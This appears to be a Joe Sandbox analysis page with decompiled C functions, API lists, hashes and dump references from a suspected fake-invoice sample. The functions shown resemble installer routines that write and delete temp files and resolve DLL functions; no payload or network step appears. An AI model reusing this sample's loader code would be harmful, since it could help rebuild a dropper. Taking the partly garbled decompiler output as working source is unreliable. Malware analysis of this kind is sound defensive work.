Function 100024A4 Relevance: 9.1, APIs: 6, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E100024A4(intOrPtr* _a4) {
				intOrPtr _v4;
				intOrPtr* _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t35;
				void* _t39;
				intOrPtr _t40;
				void* _t43;

				_t39 = E1000121B();
				_t24 = _a4;
				_t40 =  *((intOrPtr*)(_t24 + 0x1014));
				_v4 = _t40;
				_t43 = (_t40 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) != 0xffffffff) {
					}
					_t35 =  *(_t43 - 8);
					if(_t35 <= 7) {
						switch( *((intOrPtr*)(_t35 * 4 +  &M100025B4))) {
							case 0:
								 *_t39 =  *_t39 & 0x00000000;
								goto L15;
							case 1:
								_push( *__eax);
								goto L13;
							case 2:
								__eax = E10001470(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L14;
							case 3:
								__ecx =  *0x1000406c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(0, 0,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x1000406c;
								 *(__edi + __eax * 2 - 2) =  *(__edi + __eax * 2 - 2) & 0x00000000;
								goto L15;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x1000406c);
								goto L15;
							case 5:
								_push( *0x1000406c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L15;
							case 6:
								_push( *__esi);
								L13:
								__eax = wsprintfW(__edi, __ebp);
								L14:
								__esp = __esp + 0xc;
								goto L15;
						}
					}
					L15:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E100012E1(_t27 - 1, _t39);
								goto L24;
							}
						} else {
							E10001272(_t39);
							L24:
						}
					}
					_v4 = _v4 - 1;
					_t43 = _t43 - 0x20;
				} while (_v4 >= 0);
				return GlobalFree(_t39);
			}

0x100024ae
0x100024b0
0x100024bf
0x100024c5
0x100024d2
0x100024d4
0x100024d8
0x100024d8
0x100024e0
0x100024e6
0x100024e8
0x00000000
0x100024ef
0x00000000
0x00000000
0x100024f5
0x00000000
0x00000000
0x100024ff
0x00000000
0x00000000
0x10002506
0x1000250c
0x10002518
0x1000251e
0x10002523
0x00000000
0x00000000
0x10002545
0x00000000
0x00000000
0x1000252b
0x10002531
0x10002532
0x10002534
0x00000000
0x00000000
0x1000254d
0x1000254f
0x10002551
0x10002553
0x10002553
0x00000000
0x00000000
0x100024e8
0x10002556
0x10002556
0x1000255b
0x1000256d
0x1000256d
0x10002573
0x10002578
0x1000257d
0x10002589
0x1000258e
0x00000000
0x10002593
0x1000257f
0x10002580
0x10002594
0x10002594
0x1000257d
0x10002595
0x10002599
0x1000259c
0x100025b3

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 1000256D
GlobalFree.KERNEL32(00000000), ref: 100025A8

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004028A7 Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004028A7(void* __ebx) {
				void* _t26;
				long _t31;
				void* _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x30)) = 0xfffffd66;
				_t50 = E00402C37(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E00405BA7(_t50) == 0) {
					E00402C37(0xffffffed);
				}
				E00405D2C(_t50);
				_t26 = E00405D51(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x7a8a38;
					 *(_t56 - 0x3c) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E00403308(_t45);
						E004032F2(_t49,  *(_t56 - 0x3c));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
						 *(_t56 - 0x4c) = _t54;
						if(_t54 != _t45) {
							_push( *(_t56 - 0x20));
							_push(_t54);
							_push(_t45);
							_push( *((intOrPtr*)(_t56 - 0x24)));
							E004030FA();
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x34) =  *_t54;
								E00405D0C( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x34);
							}
							GlobalFree( *(_t56 - 0x4c));
						}
						E00405E03( *(_t56 + 8), _t49,  *(_t56 - 0x3c));
						GlobalFree(_t49);
						_push(_t45);
						_push(_t45);
						_push( *(_t56 + 8));
						_push(0xffffffff);
						 *((intOrPtr*)(_t56 - 0x30)) = E004030FA();
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x30)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004028a7
0x004028a9
0x004028b5
0x004028b8
0x004028c2
0x004028c6
0x004028c6
0x004028cc
0x004028d9
0x004028e1
0x004028e4
0x004028ea
0x004028f8
0x004028fd
0x00402901
0x00402904
0x0040290d
0x00402919
0x0040291d
0x00402920
0x00402922
0x00402925
0x00402926
0x00402927
0x0040292a
0x00402949
0x00402931
0x00402936
0x0040293e
0x00402941
0x00402946
0x00402946
0x00402950
0x00402950
0x0040295d
0x00402963
0x00402969
0x0040296a
0x0040296b
0x0040296e
0x00402975
0x00402975
0x0040297b
0x0040297b
0x00402986
0x00402987
0x0040298b
0x0040298f
0x00402995
0x00402995
0x0040299c
0x00402245
0x00402ac2
0x00402ace

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
GlobalFree.KERNEL32(?), ref: 00402950
GlobalFree.KERNEL32(00000000), ref: 00402963
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c80f1b7699c573d2cd61cc0fc8ca34bd45e7fada534f6731a09c6b940c6eaf41
Instruction ID: bbedb4fc7ab5ed61472c20f64d7886a30c327f5f8cbd10d414b970b30e546654
Opcode Fuzzy Hash: c80f1b7699c573d2cd61cc0fc8ca34bd45e7fada534f6731a09c6b940c6eaf41
Instruction Fuzzy Hash: E021DDB1800128BBCF206FA5DE49D9E7E79EF08364F10423AF960762E0CB394D418F98

Uniqueness

Uniqueness Score: -1.00%

Function 00402592 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00402592(int __ebx, void* __edx, intOrPtr* __esi) {
				signed int _t14;
				int _t17;
				int _t24;
				signed int _t29;
				intOrPtr* _t32;
				void* _t34;
				void* _t35;
				void* _t38;
				signed int _t40;

				_t32 = __esi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x20);
				_t38 = __edx - 0x38;
				 *(_t35 - 0x4c) = _t14;
				_t27 = 0 | _t38 == 0x00000000;
				_t29 = _t38 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402C37(0x11)) + _t16;
					} else {
						E00402C37(0x21);
						WideCharToMultiByte(__ebx, __ebx, "C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp", 0xffffffff, "C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp\System.dll", 0x400, __ebx, __ebx);
						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp\System.dll");
					}
				} else {
					E00402C15(1);
					 *0x40ada8 = __ax;
					 *((intOrPtr*)(__ebp - 0x3c)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t32 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t34 = E004061BF(_t27, _t32);
					if((_t29 |  *(_t35 - 0x4c)) != 0 ||  *((intOrPtr*)(_t35 - 0x1c)) == _t24 || E00405E32(_t34, _t34) >= 0) {
						_t14 = E00405E03(_t34, "C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp\System.dll",  *(_t35 + 8));
						_t40 = _t14;
						if(_t40 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00402592
0x00402592
0x00402592
0x00402597
0x0040259a
0x0040259d
0x004025a2
0x004025a4
0x004025c4
0x00402602
0x004025c6
0x004025c8
0x004025e2
0x004025ed
0x004025ed
0x004025a6
0x004025a8
0x004025ad
0x004025bb
0x004025be
0x00402607
0x0040260a
0x00402885
0x00402885
0x00402610
0x00402619
0x0040261b
0x0040263a
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x0040261b
0x00402ac2
0x00402ace

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED

Strings

C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll, xrefs: 004025AD, 004025D4, 004025E8, 00402634
C:\Users\user\AppData\Local\Temp\nsiF853.tmp, xrefs: 004025DB

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsiF853.tmp$C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll
API String ID: 3109718747-1142599095
Opcode ID: 5244e38430967ec637cd3eede869a8b07960365e5ae3ed9cfd140443e5c89b37
Instruction ID: aeea25b17c56a12648c97371da72875efc2076f5b2bafbb971aab2720b62453c
Opcode Fuzzy Hash: 5244e38430967ec637cd3eede869a8b07960365e5ae3ed9cfd140443e5c89b37
Instruction Fuzzy Hash: B5115B72A00200BECB106FB18E8D99F7664AF95389F20843FF502F22C1DAFC49425B5E

Uniqueness

Uniqueness Score: -1.00%

Function 100022D0 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E100022D0(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed int* _t42;
				signed int* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[6];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[6] = _t41;
							goto L12;
						} else {
							_t37 = E100012BA(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E10001243();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[2]); // 0x1020
						_t42 = _t13;
						if(_t51[1] != 0xffffffff) {
						}
						_t38 =  *_t51;
						_t51[7] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M10002447))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E10001311(__ebp);
									goto L21;
								case 2:
									 *__edi = E10001311(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x1000406c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x1000406c, __eax,  *0x1000406c, 0, 0);
									goto L27;
								case 4:
									__eax = E1000122C(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E10001311(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x1000406c =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
									 *__ebx =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
									asm("cdq");
									__eax = E10001470(__edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18, __edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E1000122C(0x10004044);
					goto L10;
				}
			}

0x100022e4
0x100022e8
0x100022f3
0x100022f3
0x100022fa
0x100022ff
0x00000000
0x00000000
0x10002303
0x10002306
0x00000000
0x00000000
0x1000230b
0x10002316
0x10002326
0x00000000
0x1000231d
0x1000231f
0x10002335
0x00000000
0x10002335
0x1000230d
0x1000230d
0x10002336
0x10002336
0x10002338
0x1000233c
0x1000233c
0x1000233f
0x1000233f
0x10002347
0x1000234e
0x10002351
0x10002410
0x10002411
0x1000241c
0x10002446
0x10002446
0x1000242c
0x10002438
0x1000242e
0x1000242e
0x1000242e
0x00000000
0x10002357
0x10002357
0x00000000
0x1000235e
0x00000000
0x00000000
0x10002366
0x00000000
0x00000000
0x10002374
0x10002376
0x00000000
0x00000000
0x10002397
0x1000239d
0x100023a0
0x100023a2
0x100023b2
0x00000000
0x00000000
0x1000237f
0x10002384
0x10002387
0x10002388
0x00000000
0x00000000
0x100023be
0x100023c4
0x100023c5
0x100023c8
0x100023c9
0x100023cb
0x00000000
0x00000000
0x100023d7
0x100023da
0x100023e6
0x100023e8
0x00000000
0x00000000
0x100023f4
0x10002400
0x10002403
0x10002405
0x10002408
0x00000000
0x00000000
0x10002357
0x10002351
0x1000232b
0x10002330
0x00000000
0x10002330

APIs

GlobalFree.KERNEL32(00000000), ref: 10002411

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65

Uniqueness

Uniqueness Score: -1.00%

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100015FF(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x10001619
0x10001625
0x10001632
0x10001639
0x10001642
0x1000164e

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00401D57 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401D57() {
				void* _t18;
				struct HINSTANCE__* _t22;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8),  *(_t27 - 0x24));
				GetClientRect(_t25, _t27 - 0x58);
				_t18 = SendMessageW(_t25, 0x172, _t22, LoadImageW(_t22, E00402C37(_t22), _t22,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
				if(_t18 != _t22) {
					DeleteObject(_t18);
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401d63
0x00401d6a
0x00401d99
0x00401da1
0x00401da8
0x00401da8
0x00402ac2
0x00402ace

APIs

GetDlgItem.USER32(?,?), ref: 00401D5D
GetClientRect.USER32(00000000,?), ref: 00401D6A
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
DeleteObject.GDI32(00000000), ref: 00401DA8

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3d379d5cf174b1f3754fd0e8aded0e40a14ad1f56653ff3a87a584377fb567a4
Instruction ID: d6b80873b4a6bbd9af873cfa92cf23dd081e8a17906ab7f6c0372a94bb23d9f5
Opcode Fuzzy Hash: 3d379d5cf174b1f3754fd0e8aded0e40a14ad1f56653ff3a87a584377fb567a4
Instruction Fuzzy Hash: 03F0ECB2604518AFDB41DBE4DE88CEEB7BCEB48341B14446AF641F6191CA789D118B68

Uniqueness

Uniqueness Score: -1.00%

Function 00404A7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404A7F(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E00406281(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E00406281(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E00406281(_t44, _t50, 0x7a1f20, 0x7a1f20, _a8);
				wsprintfW(_t34 + lstrlenW(0x7a1f20) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x7a79f8, _a4, 0x7a1f20);
			}

0x00404a88
0x00404a8d
0x00404a95
0x00404a96
0x00404aa3
0x00404aab
0x00404aac
0x00404aae
0x00404ab0
0x00404ab2
0x00404ab5
0x00404ab5
0x00404abc
0x00404ac2
0x00404ac2
0x00404ac9
0x00404ad0
0x00404ad3
0x00404ad6
0x00404ad6
0x00404ada
0x00404aea
0x00404aec
0x00404aef
0x00404a98
0x00404a98
0x00404a9f
0x00404a9f
0x00404af7
0x00404b02
0x00404b18
0x00404b29
0x00404b45

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-007A9000), ref: 00404B20
wsprintfW.USER32 ref: 00404B29
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B3C

Strings

%u.%u%s%s, xrefs: 00404B0A

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
